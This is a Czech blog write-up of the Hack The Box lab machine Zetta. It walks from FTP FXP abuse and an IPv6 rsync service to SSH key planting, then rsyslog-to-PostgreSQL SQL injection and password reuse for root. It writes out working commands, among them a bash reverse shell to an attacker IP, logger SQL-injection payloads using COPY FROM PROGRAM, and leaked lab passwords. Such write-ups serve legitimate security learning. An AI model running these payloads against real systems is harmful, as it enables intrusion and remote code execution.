tom@home.htb:~$

Blog o HTB

1 February 2021

Zetta

Úvod a kontext

Zetta je jeden z těch strojů, kde první krok vůbec nevede přes běžnou webovou chybu. Hlavní roli tu hraje Pure-FTPd, jeho FXP zneužití a následný přechod do interní IPv6 vrstvy, která zvenku není vidět. Teprve tam se objeví rsync služba s dalšími daty. Přesně proto je Zetta dobrý společný case pro články Síťová topologie jako leak: WPAD, Squid, FXP a interní mapování, IPv6 jako opomíjená attack surface a Port forwarding, proxy a protokolové mosty jako exploitační primitivum.

Druhá polovina stroje je zase o tom, jak cenné mohou být konfigurační repozitáře a .git historie v /etc. Zápis do PostgreSQL přes rsyslog SQL injection a následný reuse hesel mezi postgres a root je typický příklad provozních slabin, které spolu vytvářejí plný kompromis systému.

Počáteční průzkum

Vyhledání otevřených portů

Nejdřív mapuji veřejné služby:

nmap -p 1-65535 -T4 -A -sC -v $IP
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Pure-FTPd
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10
80/tcp open  http    nginx

Web na 80 nevypadal jako přímý vstup, ale zobrazoval přihlašovací údaje:

Username: LFIE55AFlV0KzFc7CmOqi94SBCW1rSVl
Password: LFIE55AFlV0KzFc7CmOqi94SBCW1rSVl

To je silná indicie, že první cesta povede přes FTP.

Analýza zjištění

FXP abuse a interní IPv6 adresa

Pure-FTPd na Zettě šlo zneužít přes FXP/EPRT tak, aby navázal datové spojení na útočníkem řízený listener. Tím se neotevře shell, ale vyteče interní zdrojová adresa serveru.

Výsledkem bylo odhalení interní IPv6 adresy:

dead:beef::250:56ff:feb9:f660

To je klíčový bod celého stroje. Bez něj by interní rsync služba zůstala neviditelná.

Rsync v interní vrstvě

Po přepnutí na IPv6 scan se objevil další port:

8730/tcp open  rsync

Praktické napojení na tuto službu šlo udělat třeba přes socat, který přemostí lokální IPv4 port na vzdálené IPv6 rsync rozhraní. Praktickou roli tohoto úzkého bridge nástroje rozebírám i v článku Socat:

socat TCP4-LISTEN:8730,fork TCP6:[dead:beef::250:56ff:feb9:f660]:8730

Pak už bylo možné enumerovat moduly:

rsync --port 8730 rsync://127.0.0.1

To odhalilo backup přístupy k několika systémovým cestám a přivedlo pozornost na rsyncd.conf, kde byl důležitý skrytý modul:

home_roy

Heslo k home_roy

Rsync modul home_roy vyžadoval heslo. To se podařilo zlomit na:

computer

Jakmile bylo heslo známé, šlo číst obsah domácího adresáře roy přes rsync:

rsync -arv --port 8730 rsync://roy@127.0.0.1/home_roy Zetta/home/roy

Zároveň to znamenalo i možnost do stejného home zapisovat. V tu chvíli už nejde jen o exfiltrační kanál, ale o variantu write -> authenticate.

Získání přístupu

Podstrčení authorized_keys

Protože rsync modul exportoval domovský adresář uživatele roy obousměrně, stačilo do něj nahrát vlastní .ssh/authorized_keys:

mkdir -p .ssh && chmod 700 .ssh
touch .ssh/authorized_keys && chmod 600 .ssh/authorized_keys
echo "ssh-rsa __CENSORED__== hack@t" >> .ssh/authorized_keys
rsync -arv --port 8730 . rsync://roy@127.0.0.1/home_roy

Pak už šlo přihlášení:

ssh roy@zetta.htb

A potvrzení user flagu:

cat user.txt
__CENSORED__

Eskalace oprávnění

.git v /etc/rsyslog.d

Lokální enumerace ukázala překvapivou věc: několik adresářů pod /etc obsahovalo .git. To je výborný zdroj historických konfigurací a změn a přesně ten typ provozní stopy, kterou rozebírám i v článku Repozitář, historie konfigurace a deployment trust.

Právě v /etc/rsyslog.d/.git bylo v posledním commitu vidět SQL template:

+local7.info action(type="ompgsql" server="localhost" user="postgres" pass="test1234" db="syslog" template="sql-syslog")

A zároveň struktura SQL insertu, který skládal dotaz přímo ze syslog zprávy.

To je zásadní slabina: pokud rsyslog bez escapování vkládá obsah logu do SQL dotazu, stačí poslat speciálně připravenou syslog zprávu a vznikne SQL injection do PostgreSQL. Tady se logovací vrstva mění v útokovou plochu úplně stejně jako v článku Logy jako útoková plocha.

SQL injection přes logger

Praktický exploit šel z běžného uživatelského účtu přes logger -p local7.info .... Nejprve bylo potřeba připravit skript s reverse shellem:

echo "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.9/4000 0>&1'" > /tmp/t.sh
chmod +x /tmp/t.sh

Pak už následovala trojice syslog zpráv, které vytvořily tabulku a použily PostgreSQL COPY ... FROM PROGRAM:

logger -p local7.info "42', localtimestamp); DROP TABLE IF EXISTS cmd_exec; --"
logger -p local7.info "42', localtimestamp); CREATE TABLE cmd_exec(cmd_output text); --"
logger -p local7.info "\$\$42\$\$', localtimestamp); COPY cmd_exec FROM PROGRAM \$\$/tmp/t.sh\$\$; --"

Tím vznikl shell jako postgres.

Reuse hesla až k rootovi

Na účtu postgres byla v .psql_history uložená předchozí změna hesla:

ALTER USER postgres WITH PASSWORD 'sup3rs3cur3p4ass@postgres';

To ještě automaticky neznamená root. Ale v Zettě se stejné heslo znovu používalo i pro su root, takže po jeho vyzkoušení vznikl root shell a následně i přístup k root.txt. Tím se závěr stroje vrací i k tématu password reuse mezi různými vrstvami prostředí.

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: linux - ftp - rsync - ssh - privesc